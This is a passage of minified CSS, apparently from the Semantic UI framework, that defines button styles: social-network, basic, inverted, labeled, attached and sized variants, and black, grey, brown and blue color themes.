rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.twitter.button:hover{background-color:#35a2f4;color:#fff;text-shadow:none}.ui.twitter.button:active{background-color:#2795e9;color:#fff;text-shadow:none}.ui.google.plus.button{background-color:#dd4b39;color:#fff;text-shadow:none;background-image:none;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.google.plus.button:hover{background-color:#e0321c;color:#fff;text-shadow:none}.ui.google.plus.button:active{background-color:#c23321;color:#fff;text-shadow:none}.ui.linkedin.button{background-color:#1f88be;color:#fff;text-shadow:none}.ui.linkedin.button:hover{background-color:#147baf;color:#fff;text-shadow:none}.ui.linkedin.button:active{background-color:#186992;color:#fff;text-shadow:none}.ui.youtube.button{background-color:red;color:#fff;text-shadow:none;background-image:none;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.youtube.button:hover{background-color:#e60000;color:#fff;text-shadow:none}.ui.youtube.button:active{background-color:#c00;color:#fff;text-shadow:none}.ui.instagram.button{background-color:#49769c;color:#fff;text-shadow:none;background-image:none;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.instagram.button:hover{background-color:#3d698e;color:#fff;text-shadow:none}.ui.instagram.button:active{background-color:#395c79;color:#fff;text-shadow:none}.ui.pinterest.button{background-color:#bd081c;color:#fff;text-shadow:none;background-image:none;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.pinterest.button:hover{background-color:#ac0013;color:#fff;text-shadow:none}.ui.pinterest.button:active{background-color:#8c0615;color:#fff;text-shadow:none}.ui.vk.button{background-color:#4d7198;color:#fff;background-image:none;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.vk.button:hover{background-color:#41648a;color:#fff}.ui.vk.button:active{background-color:#3c5876;color:#fff}.ui.button>.icon:not(.button){height:.85714286em;opacity:.8;margin:0 .42857143em 0 -.21428571em;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;vertical-align:'';color:''}.ui.button:not(.icon)>.icon:not(.button):not(.dropdown){margin:0 .42857143em 0 -.21428571em}.ui.button:not(.icon)>.right.icon:not(.button):not(.dropdown){margin:0 -.21428571em 0 .42857143em}.ui[class*="left floated"].button,.ui[class*="left floated"].buttons{float:left;margin-left:0;margin-right:.25em}.ui[class*="right floated"].button,.ui[class*="right floated"].buttons{float:right;margin-right:0;margin-left:.25em}.ui.compact.button,.ui.compact.buttons .button{padding:.58928571em 1.125em .58928571em}.ui.compact.icon.button,.ui.compact.icon.buttons .button{padding:.58928571em .58928571em .58928571em}.ui.compact.labeled.icon.button,.ui.compact.labeled.icon.buttons .button{padding:.58928571em 3.69642857em .58928571em}.ui.mini.button,.ui.mini.buttons .button,.ui.mini.buttons .or{font-size:.78571429rem}.ui.tiny.button,.ui.tiny.buttons .button,.ui.tiny.buttons .or{font-size:.85714286rem}.ui.small.button,.ui.small.buttons .button,.ui.small.buttons .or{font-size:.92857143rem}.ui.button,.ui.buttons .button,.ui.buttons .or{font-size:1rem}.ui.large.button,.ui.large.buttons .button,.ui.large.buttons .or{font-size:1.14285714rem}.ui.big.button,.ui.big.buttons .button,.ui.big.buttons .or{font-size:1.28571429rem}.ui.huge.button,.ui.huge.buttons .button,.ui.huge.buttons .or{font-size:1.42857143rem}.ui.massive.button,.ui.massive.buttons .button,.ui.massive.buttons .or{font-size:1.71428571rem}.ui.icon.button,.ui.icon.buttons .button{padding:.78571429em .78571429em .78571429em}.ui.icon.button>.icon,.ui.icon.buttons .button>.icon{opacity:.9;margin:0!important;vertical-align:top}.ui.basic.button,.ui.basic.buttons .button{background:transparent none!important;color:rgba(0,0,0,.6)!important;font-weight:400;border-radius:.28571429rem;text-transform:none;text-shadow:none!important;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset}.ui.basic.buttons{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem}.ui.basic.buttons .button{border-radius:0}.ui.basic.button:hover,.ui.basic.buttons .button:hover{background:#fff!important;color:rgba(0,0,0,.8)!important;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.basic.button:focus,.ui.basic.buttons .button:focus{background:#fff!important;color:rgba(0,0,0,.8)!important;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.basic.button:active,.ui.basic.buttons .button:active{background:#f8f8f8!important;color:rgba(0,0,0,.9)!important;-webkit-box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset}.ui.basic.active.button,.ui.basic.buttons .active.button{background:rgba(0,0,0,.05)!important;-webkit-box-shadow:''!important;box-shadow:''!important;color:rgba(0,0,0,.95)!important}.ui.basic.active.button:hover,.ui.basic.buttons .active.button:hover{background-color:rgba(0,0,0,.05)}.ui.basic.buttons .button:hover{-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset inset;box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset inset}.ui.basic.buttons .button:active{-webkit-box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset inset;box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset inset}.ui.basic.buttons .active.button{-webkit-box-shadow:''!important;box-shadow:''!important}.ui.basic.inverted.button,.ui.basic.inverted.buttons .button{background-color:transparent!important;color:#f9fafb!important;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important}.ui.basic.inverted.button:hover,.ui.basic.inverted.buttons .button:hover{color:#fff!important;-webkit-box-shadow:0 0 0 2px #fff inset!important;box-shadow:0 0 0 2px #fff inset!important}.ui.basic.inverted.button:focus,.ui.basic.inverted.buttons .button:focus{color:#fff!important;-webkit-box-shadow:0 0 0 2px #fff inset!important;box-shadow:0 0 0 2px #fff inset!important}.ui.basic.inverted.button:active,.ui.basic.inverted.buttons .button:active{background-color:rgba(255,255,255,.08)!important;color:#fff!important;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.9) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.9) inset!important}.ui.basic.inverted.active.button,.ui.basic.inverted.buttons .active.button{background-color:rgba(255,255,255,.08);color:#fff;text-shadow:none;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.7) inset;box-shadow:0 0 0 2px rgba(255,255,255,.7) inset}.ui.basic.inverted.active.button:hover,.ui.basic.inverted.buttons .active.button:hover{background-color:rgba(255,255,255,.15);-webkit-box-shadow:0 0 0 2px #fff inset!important;box-shadow:0 0 0 2px #fff inset!important}.ui.basic.buttons .button{border-left:1px solid rgba(34,36,38,.15);-webkit-box-shadow:none;box-shadow:none}.ui.basic.vertical.buttons .button{border-left:none}.ui.basic.vertical.buttons .button{border-left-width:0;border-top:1px solid rgba(34,36,38,.15)}.ui.basic.vertical.buttons .button:first-child{border-top-width:0}.ui.labeled.icon.button,.ui.labeled.icon.buttons .button{position:relative;padding-left:4.07142857em!important;padding-right:1.5em!important}.ui.labeled.icon.button>.icon,.ui.labeled.icon.buttons>.button>.icon{position:absolute;height:100%;line-height:1;border-radius:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit;text-align:center;margin:0;width:2.57142857em;background-color:rgba(0,0,0,.05);color:'';-webkit-box-shadow:-1px 0 0 0 transparent inset;box-shadow:-1px 0 0 0 transparent inset}.ui.labeled.icon.button>.icon,.ui.labeled.icon.buttons>.button>.icon{top:0;left:0}.ui[class*="right labeled"].icon.button{padding-right:4.07142857em!important;padding-left:1.5em!important}.ui[class*="right labeled"].icon.button>.icon{left:auto;right:0;border-radius:0;border-top-right-radius:inherit;border-bottom-right-radius:inherit;-webkit-box-shadow:1px 0 0 0 transparent inset;box-shadow:1px 0 0 0 transparent inset}.ui.labeled.icon.button>.icon:after,.ui.labeled.icon.button>.icon:before,.ui.labeled.icon.buttons>.button>.icon:after,.ui.labeled.icon.buttons>.button>.icon:before{display:block;position:absolute;width:100%;top:50%;text-align:center;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.ui.labeled.icon.buttons .button>.icon{border-radius:0}.ui.labeled.icon.buttons .button:first-child>.icon{border-top-left-radius:.28571429rem;border-bottom-left-radius:.28571429rem}.ui.labeled.icon.buttons .button:last-child>.icon{border-top-right-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.labeled.icon.buttons .button:first-child>.icon{border-radius:0;border-top-left-radius:.28571429rem}.ui.vertical.labeled.icon.buttons .button:last-child>.icon{border-radius:0;border-bottom-left-radius:.28571429rem}.ui.fluid[class*="left labeled"].icon.button,.ui.fluid[class*="right labeled"].icon.button{padding-left:1.5em!important;padding-right:1.5em!important}.ui.button.toggle.active,.ui.buttons .button.toggle.active,.ui.toggle.buttons .active.button{background-color:#21ba45!important;-webkit-box-shadow:none!important;box-shadow:none!important;text-shadow:none;color:#fff!important}.ui.button.toggle.active:hover{background-color:#16ab39!important;text-shadow:none;color:#fff!important}.ui.circular.button{border-radius:10em}.ui.circular.button>.icon{width:1em;vertical-align:baseline}.ui.buttons .or{position:relative;width:.3em;height:2.57142857em;z-index:3}.ui.buttons .or:before{position:absolute;text-align:center;border-radius:500rem;content:'or';top:50%;left:50%;background-color:#fff;text-shadow:none;margin-top:-.89285714em;margin-left:-.89285714em;width:1.78571429em;height:1.78571429em;line-height:1.78571429em;color:rgba(0,0,0,.4);font-style:normal;font-weight:700;-webkit-box-shadow:0 0 0 1px transparent inset;box-shadow:0 0 0 1px transparent inset}.ui.buttons .or[data-text]:before{content:attr(data-text)}.ui.fluid.buttons .or{width:0!important}.ui.fluid.buttons .or:after{display:none}.ui.attached.button{position:relative;display:block;margin:0;border-radius:0;-webkit-box-shadow:0 0 0 1px rgba(34,36,38,.15)!important;box-shadow:0 0 0 1px rgba(34,36,38,.15)!important}.ui.attached.top.button{border-radius:.28571429rem .28571429rem 0 0}.ui.attached.bottom.button{border-radius:0 0 .28571429rem .28571429rem}.ui.left.attached.button{display:inline-block;border-left:none;text-align:right;padding-right:.75em;border-radius:.28571429rem 0 0 .28571429rem}.ui.right.attached.button{display:inline-block;text-align:left;padding-left:.75em;border-radius:0 .28571429rem .28571429rem 0}.ui.attached.buttons{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;border-radius:0;width:auto!important;z-index:2;margin-left:-1px;margin-right:-1px}.ui.attached.buttons .button{margin:0}.ui.attached.buttons .button:first-child{border-radius:0}.ui.attached.buttons .button:last-child{border-radius:0}.ui[class*="top attached"].buttons{margin-bottom:-1px;border-radius:.28571429rem .28571429rem 0 0}.ui[class*="top attached"].buttons .button:first-child{border-radius:.28571429rem 0 0 0}.ui[class*="top attached"].buttons .button:last-child{border-radius:0 .28571429rem 0 0}.ui[class*="bottom attached"].buttons{margin-top:-1px;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].buttons .button:first-child{border-radius:0 0 0 .28571429rem}.ui[class*="bottom attached"].buttons .button:last-child{border-radius:0 0 .28571429rem 0}.ui[class*="left attached"].buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:0;margin-left:-1px;border-radius:0 .28571429rem .28571429rem 0}.ui[class*="left attached"].buttons .button:first-child{margin-left:-1px;border-radius:0 .28571429rem 0 0}.ui[class*="left attached"].buttons .button:last-child{margin-left:-1px;border-radius:0 0 .28571429rem 0}.ui[class*="right attached"].buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-left:0;margin-right:-1px;border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right attached"].buttons .button:first-child{margin-left:-1px;border-radius:.28571429rem 0 0 0}.ui[class*="right attached"].buttons .button:last-child{margin-left:-1px;border-radius:0 0 0 .28571429rem}.ui.fluid.button,.ui.fluid.buttons{width:100%}.ui.fluid.button{display:block}.ui.two.buttons{width:100%}.ui.two.buttons>.button{width:50%}.ui.three.buttons{width:100%}.ui.three.buttons>.button{width:33.333%}.ui.four.buttons{width:100%}.ui.four.buttons>.button{width:25%}.ui.five.buttons{width:100%}.ui.five.buttons>.button{width:20%}.ui.six.buttons{width:100%}.ui.six.buttons>.button{width:16.666%}.ui.seven.buttons{width:100%}.ui.seven.buttons>.button{width:14.285%}.ui.eight.buttons{width:100%}.ui.eight.buttons>.button{width:12.5%}.ui.nine.buttons{width:100%}.ui.nine.buttons>.button{width:11.11%}.ui.ten.buttons{width:100%}.ui.ten.buttons>.button{width:10%}.ui.eleven.buttons{width:100%}.ui.eleven.buttons>.button{width:9.09%}.ui.twelve.buttons{width:100%}.ui.twelve.buttons>.button{width:8.3333%}.ui.fluid.vertical.buttons,.ui.fluid.vertical.buttons>.button{display:-webkit-box;display:-ms-flexbox;display:flex;width:auto}.ui.two.vertical.buttons>.button{height:50%}.ui.three.vertical.buttons>.button{height:33.333%}.ui.four.vertical.buttons>.button{height:25%}.ui.five.vertical.buttons>.button{height:20%}.ui.six.vertical.buttons>.button{height:16.666%}.ui.seven.vertical.buttons>.button{height:14.285%}.ui.eight.vertical.buttons>.button{height:12.5%}.ui.nine.vertical.buttons>.button{height:11.11%}.ui.ten.vertical.buttons>.button{height:10%}.ui.eleven.vertical.buttons>.button{height:9.09%}.ui.twelve.vertical.buttons>.button{height:8.3333%}.ui.black.button,.ui.black.buttons .button{background-color:#1b1c1d;color:#fff;text-shadow:none;background-image:none}.ui.black.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.black.button:hover,.ui.black.buttons .button:hover{background-color:#27292a;color:#fff;text-shadow:none}.ui.black.button:focus,.ui.black.buttons .button:focus{background-color:#2f3032;color:#fff;text-shadow:none}.ui.black.button:active,.ui.black.buttons .button:active{background-color:#343637;color:#fff;text-shadow:none}.ui.black.active.button,.ui.black.button .active.button:active,.ui.black.buttons .active.button,.ui.black.buttons .active.button:active{background-color:#0f0f10;color:#fff;text-shadow:none}.ui.basic.black.button,.ui.basic.black.buttons .button{-webkit-box-shadow:0 0 0 1px #1b1c1d inset!important;box-shadow:0 0 0 1px #1b1c1d inset!important;color:#1b1c1d!important}.ui.basic.black.button:hover,.ui.basic.black.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #27292a inset!important;box-shadow:0 0 0 1px #27292a inset!important;color:#27292a!important}.ui.basic.black.button:focus,.ui.basic.black.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #2f3032 inset!important;box-shadow:0 0 0 1px #2f3032 inset!important;color:#27292a!important}.ui.basic.black.active.button,.ui.basic.black.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #0f0f10 inset!important;box-shadow:0 0 0 1px #0f0f10 inset!important;color:#343637!important}.ui.basic.black.button:active,.ui.basic.black.buttons .button:active{-webkit-box-shadow:0 0 0 1px #343637 inset!important;box-shadow:0 0 0 1px #343637 inset!important;color:#343637!important}.ui.buttons:not(.vertical)>.basic.black.button:not(:first-child){margin-left:-1px}.ui.inverted.black.button,.ui.inverted.black.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #d4d4d5 inset!important;box-shadow:0 0 0 2px #d4d4d5 inset!important;color:#fff}.ui.inverted.black.button.active,.ui.inverted.black.button:active,.ui.inverted.black.button:focus,.ui.inverted.black.button:hover,.ui.inverted.black.buttons .button.active,.ui.inverted.black.buttons .button:active,.ui.inverted.black.buttons .button:focus,.ui.inverted.black.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.black.button:hover,.ui.inverted.black.buttons .button:hover{background-color:#000}.ui.inverted.black.button:focus,.ui.inverted.black.buttons .button:focus{background-color:#000}.ui.inverted.black.active.button,.ui.inverted.black.buttons .active.button{background-color:#000}.ui.inverted.black.button:active,.ui.inverted.black.buttons .button:active{background-color:#000}.ui.inverted.black.basic.button,.ui.inverted.black.basic.buttons .button,.ui.inverted.black.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.black.basic.button:hover,.ui.inverted.black.basic.buttons .button:hover,.ui.inverted.black.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #000 inset!important;box-shadow:0 0 0 2px #000 inset!important;color:#fff!important}.ui.inverted.black.basic.button:focus,.ui.inverted.black.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #000 inset!important;box-shadow:0 0 0 2px #000 inset!important;color:#545454!important}.ui.inverted.black.basic.active.button,.ui.inverted.black.basic.buttons .active.button,.ui.inverted.black.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #000 inset!important;box-shadow:0 0 0 2px #000 inset!important;color:#fff!important}.ui.inverted.black.basic.button:active,.ui.inverted.black.basic.buttons .button:active,.ui.inverted.black.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #000 inset!important;box-shadow:0 0 0 2px #000 inset!important;color:#fff!important}.ui.grey.button,.ui.grey.buttons .button{background-color:#767676;color:#fff;text-shadow:none;background-image:none}.ui.grey.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.grey.button:hover,.ui.grey.buttons .button:hover{background-color:#838383;color:#fff;text-shadow:none}.ui.grey.button:focus,.ui.grey.buttons .button:focus{background-color:#8a8a8a;color:#fff;text-shadow:none}.ui.grey.button:active,.ui.grey.buttons .button:active{background-color:#909090;color:#fff;text-shadow:none}.ui.grey.active.button,.ui.grey.button .active.button:active,.ui.grey.buttons .active.button,.ui.grey.buttons .active.button:active{background-color:#696969;color:#fff;text-shadow:none}.ui.basic.grey.button,.ui.basic.grey.buttons .button{-webkit-box-shadow:0 0 0 1px #767676 inset!important;box-shadow:0 0 0 1px #767676 inset!important;color:#767676!important}.ui.basic.grey.button:hover,.ui.basic.grey.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #838383 inset!important;box-shadow:0 0 0 1px #838383 inset!important;color:#838383!important}.ui.basic.grey.button:focus,.ui.basic.grey.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #8a8a8a inset!important;box-shadow:0 0 0 1px #8a8a8a inset!important;color:#838383!important}.ui.basic.grey.active.button,.ui.basic.grey.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #696969 inset!important;box-shadow:0 0 0 1px #696969 inset!important;color:#909090!important}.ui.basic.grey.button:active,.ui.basic.grey.buttons .button:active{-webkit-box-shadow:0 0 0 1px #909090 inset!important;box-shadow:0 0 0 1px #909090 inset!important;color:#909090!important}.ui.buttons:not(.vertical)>.basic.grey.button:not(:first-child){margin-left:-1px}.ui.inverted.grey.button,.ui.inverted.grey.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #d4d4d5 inset!important;box-shadow:0 0 0 2px #d4d4d5 inset!important;color:#fff}.ui.inverted.grey.button.active,.ui.inverted.grey.button:active,.ui.inverted.grey.button:focus,.ui.inverted.grey.button:hover,.ui.inverted.grey.buttons .button.active,.ui.inverted.grey.buttons .button:active,.ui.inverted.grey.buttons .button:focus,.ui.inverted.grey.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.grey.button:hover,.ui.inverted.grey.buttons .button:hover{background-color:#cfd0d2}.ui.inverted.grey.button:focus,.ui.inverted.grey.buttons .button:focus{background-color:#c7c9cb}.ui.inverted.grey.active.button,.ui.inverted.grey.buttons .active.button{background-color:#cfd0d2}.ui.inverted.grey.button:active,.ui.inverted.grey.buttons .button:active{background-color:#c2c4c5}.ui.inverted.grey.basic.button,.ui.inverted.grey.basic.buttons .button,.ui.inverted.grey.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.grey.basic.button:hover,.ui.inverted.grey.basic.buttons .button:hover,.ui.inverted.grey.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #cfd0d2 inset!important;box-shadow:0 0 0 2px #cfd0d2 inset!important;color:#fff!important}.ui.inverted.grey.basic.button:focus,.ui.inverted.grey.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #c7c9cb inset!important;box-shadow:0 0 0 2px #c7c9cb inset!important;color:#dcddde!important}.ui.inverted.grey.basic.active.button,.ui.inverted.grey.basic.buttons .active.button,.ui.inverted.grey.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #cfd0d2 inset!important;box-shadow:0 0 0 2px #cfd0d2 inset!important;color:#fff!important}.ui.inverted.grey.basic.button:active,.ui.inverted.grey.basic.buttons .button:active,.ui.inverted.grey.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #c2c4c5 inset!important;box-shadow:0 0 0 2px #c2c4c5 inset!important;color:#fff!important}.ui.brown.button,.ui.brown.buttons .button{background-color:#a5673f;color:#fff;text-shadow:none;background-image:none}.ui.brown.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.brown.button:hover,.ui.brown.buttons .button:hover{background-color:#975b33;color:#fff;text-shadow:none}.ui.brown.button:focus,.ui.brown.buttons .button:focus{background-color:#90532b;color:#fff;text-shadow:none}.ui.brown.button:active,.ui.brown.buttons .button:active{background-color:#805031;color:#fff;text-shadow:none}.ui.brown.active.button,.ui.brown.button .active.button:active,.ui.brown.buttons .active.button,.ui.brown.buttons .active.button:active{background-color:#995a31;color:#fff;text-shadow:none}.ui.basic.brown.button,.ui.basic.brown.buttons .button{-webkit-box-shadow:0 0 0 1px #a5673f inset!important;box-shadow:0 0 0 1px #a5673f inset!important;color:#a5673f!important}.ui.basic.brown.button:hover,.ui.basic.brown.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #975b33 inset!important;box-shadow:0 0 0 1px #975b33 inset!important;color:#975b33!important}.ui.basic.brown.button:focus,.ui.basic.brown.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #90532b inset!important;box-shadow:0 0 0 1px #90532b inset!important;color:#975b33!important}.ui.basic.brown.active.button,.ui.basic.brown.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #995a31 inset!important;box-shadow:0 0 0 1px #995a31 inset!important;color:#805031!important}.ui.basic.brown.button:active,.ui.basic.brown.buttons .button:active{-webkit-box-shadow:0 0 0 1px #805031 inset!important;box-shadow:0 0 0 1px #805031 inset!important;color:#805031!important}.ui.buttons:not(.vertical)>.basic.brown.button:not(:first-child){margin-left:-1px}.ui.inverted.brown.button,.ui.inverted.brown.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #d67c1c inset!important;box-shadow:0 0 0 2px #d67c1c inset!important;color:#d67c1c}.ui.inverted.brown.button.active,.ui.inverted.brown.button:active,.ui.inverted.brown.button:focus,.ui.inverted.brown.button:hover,.ui.inverted.brown.buttons .button.active,.ui.inverted.brown.buttons .button:active,.ui.inverted.brown.buttons .button:focus,.ui.inverted.brown.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.brown.button:hover,.ui.inverted.brown.buttons .button:hover{background-color:#c86f11}.ui.inverted.brown.button:focus,.ui.inverted.brown.buttons .button:focus{background-color:#c16808}.ui.inverted.brown.active.button,.ui.inverted.brown.buttons .active.button{background-color:#cc6f0d}.ui.inverted.brown.button:active,.ui.inverted.brown.buttons .button:active{background-color:#a96216}.ui.inverted.brown.basic.button,.ui.inverted.brown.basic.buttons .button,.ui.inverted.brown.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.brown.basic.button:hover,.ui.inverted.brown.basic.buttons .button:hover,.ui.inverted.brown.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #c86f11 inset!important;box-shadow:0 0 0 2px #c86f11 inset!important;color:#d67c1c!important}.ui.inverted.brown.basic.button:focus,.ui.inverted.brown.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #c16808 inset!important;box-shadow:0 0 0 2px #c16808 inset!important;color:#d67c1c!important}.ui.inverted.brown.basic.active.button,.ui.inverted.brown.basic.buttons .active.button,.ui.inverted.brown.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #cc6f0d inset!important;box-shadow:0 0 0 2px #cc6f0d inset!important;color:#d67c1c!important}.ui.inverted.brown.basic.button:active,.ui.inverted.brown.basic.buttons .button:active,.ui.inverted.brown.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #a96216 inset!important;box-shadow:0 0 0 2px #a96216 inset!important;color:#d67c1c!important}.ui.blue.button,.ui.blue.buttons .button{background-color:#2185d0;color:#fff;text-shadow:none;background-image:none}.ui.blue.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.blue.button:hover,.ui.blue.buttons .button:hover{background-color:#1678c2;color:#fff;text-shadow:none}.ui.blue.button:focus,.ui.blue.buttons .button:focus{background-color:#0d71bb;color:#fff;text-shadow:none}.ui.blue.button:active,.ui.blue.buttons .button:active{background-color:#1a69a4;color:#fff;text-shadow:none}.ui.blue.active.button,.ui.blue.button .active.button:active,.ui.blue.buttons .active.button,.ui.blue.buttons .active.button:active{background-color:#1279c6;color:#fff;text-shadow:none}.ui.basic.blue.button,.ui.basic.blue.buttons .button{-webkit-box-shadow:0 0 0 1px #2185d0 inset!important;box-shadow:0 0 0 1px #2185d0 inset!important;color:#2185d0!important}.ui.basic.blue.button:hover,.ui.basic.blue.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #1678c2 inset!important;box-shadow:0 0 0 1px #1678c2 inset!important;color:#1678c2!important}.ui.basic.blue.button:focus,.ui.basic.blue.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #0d71bb inset!important;box-shadow:0 0 0 1px #0d71bb inset!important;color:#1678c2!important}.ui.basic.blue.active.button,.ui.basic.blue.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #1279c6 inset!important;box-shadow:0 0 0 1px #1279c6 inset!important;color:#1a69a4!important}.ui.basic.blue.button:active,.ui.basic.blue.buttons .button:active{-webkit-box-shadow:0 0 0 1px #1a69a4 inset!important;box-shadow:0 0 0 1px #1a69a4 inset!important;color:#1a69a4!important}.ui.buttons:not(.vertical)>.basic.blue.button:not(:first-child){margin-left:-1px}.ui.inverted.blue.button,.ui.inverted.blue.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #54c8ff inset!important;box-shadow:0 0 0 2px #54c8ff inset!important;color:#54c8ff}.ui.inverted.blue.button.active,.ui.inverted.blue.button:active,.ui.inverted.blue.button:focus,.ui.inverted.blue.button:hover,.ui.inverted.blue.buttons .button.active,.ui.inverted.blue.buttons .button:active,.ui.inverted.blue.buttons .button:focus,.ui.inverted.blue.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.blue.button:hover,.ui.inverted.blue.buttons .button:hover{background-color:#3ac0ff}.ui.inverted.blue.button:focus,.ui.inverted.blue.buttons .button:focus{background-color:#2bbbff}.ui.inverted.blue.active.button,.ui.inverted.blue.buttons .active.button{background-color:#3ac0ff}.ui.inverted.blue.button:active,.ui.inverted.blue.buttons .button:active{background-color:#21b8ff}.ui.inverted.blue.basic.button,.ui.inverted.blue.basic.buttons .button,.ui.inverted.blue.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.blue.basic.button:hover,.ui.inverted.blue.basic.buttons .button:hover,.ui.inverted.blue.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #3ac0ff inset!important;box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54c8ff!important}.ui.inverted.blue.basic.button:focus,.ui.inverted.blue.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #2bbbff inset!important;box-shadow:0 0 0 2px #2bbbff inset!important;color:#54c8ff!important}.ui.inverted.blue.basic.active.button,.ui.inverted.blue.basic.buttons .active.button,.ui.inverted.blue.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #3ac0ff inset!important;box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54c8ff!important}.ui.inverted.blue.basic.button:active,.ui.inverted.blue.basic.buttons .button:active,.ui.inverted.blue.buttons 